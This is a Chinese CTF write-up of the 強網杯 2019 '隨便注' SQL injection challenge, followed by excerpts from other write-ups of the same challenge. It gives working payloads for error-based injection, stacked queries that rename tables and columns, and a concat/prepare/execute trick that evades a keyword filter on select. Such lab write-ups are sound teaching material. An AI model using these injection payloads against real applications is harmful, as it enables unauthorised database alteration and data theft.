BUUCTF 強網杯 2019 隨便注

2022-06-23 04:45:10 字數 2155 閱讀 5348

0x00:寫在前面

這道題目讓我在mysql語法上學到不少東西

還有騷思路,確實打ctf需要腦子反應快,騷主意多

0x01:解題思路

開啟題目很簡單的乙個查詢框

輸入1'報錯

1'-- -不報錯

1' order by 2-- -欄位兩個

然後union select查詢時報錯如下

顯而易見,做了過濾。是preg_match的檢測,常規的雙寫 大小寫啥的都不行

這裡可以使用報錯注入:?inject=1' and extractvalue(1, concat(0x5c, (database())));-- -

得知資料庫名字為supersqli(其實不知道資料庫名字也可以)

因為接下來的爆表操作仍然需要用到select 所以放棄

嘗試堆疊查詢

這裡爆出兩個表,191開頭這個表一看就很有嫌疑,嘗試讀取

1';show columns from 1919810931114514-- -

上面讀取資訊失敗,1';show columns from `1919810931114514`-- -

經過查詢資料得知,`在mysql裡用處是 將一些可能被識別為mysql內建函式的字串進行處理,變為使用者控制的字串,代表mysql中的轉義字元

讀出資料如下

上面誘人的flag,再進行words表讀取。

接下來就是圍繞著讀取flag來進行了

這裡有兩個方法:

0x02:兩種解法

第一種:比較騷的思路,讓程式中已經存在的select語法幫我們進行查詢,把words改名為其他,191這個表改名為words,然後再新增id欄位,將flag欄位改為data。

把預設的words改為ww

alter table words rename to ww;

把1919810931114514改為words;

alter table 1919810931114514 rename to words;

往words表裡新增乙個欄位id

alter table words add id int(10) default '1';

修改words裡面flag為data

alter table words change flag data varchar(100);-- -

然後把以上語句進行堆疊:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;alter table words add id int(10) default '12';alter table words change flag data varchar(100);-- -

還有種語句格式:

把預設的words改為ww

rename table words to ww;

下面就都一樣

第二種:利用concat拼接,這個是mysql的語法知識~學到了-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');prepare stmt1 from @sql;execute stmt1;#

這裡set為變數賦值

prepare設定sql查詢語法

execute 執行函式

BUUCTF 強網杯 2019 隨便注wp

知識點 堆疊注入。用簡單的話來說就是在sql語句中分號 標誌著一句話的結束,如果在乙個sql語句後新增分號 並構造乙個新的sql語句,那麼之前的sql語句和自己所構造的sql語句都會執行,因此造成了sql注入。這種注入方法叫堆疊注入。進入題目,看到輸入框,嘗試sql字元型注入1 or 1 1,發現存...

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...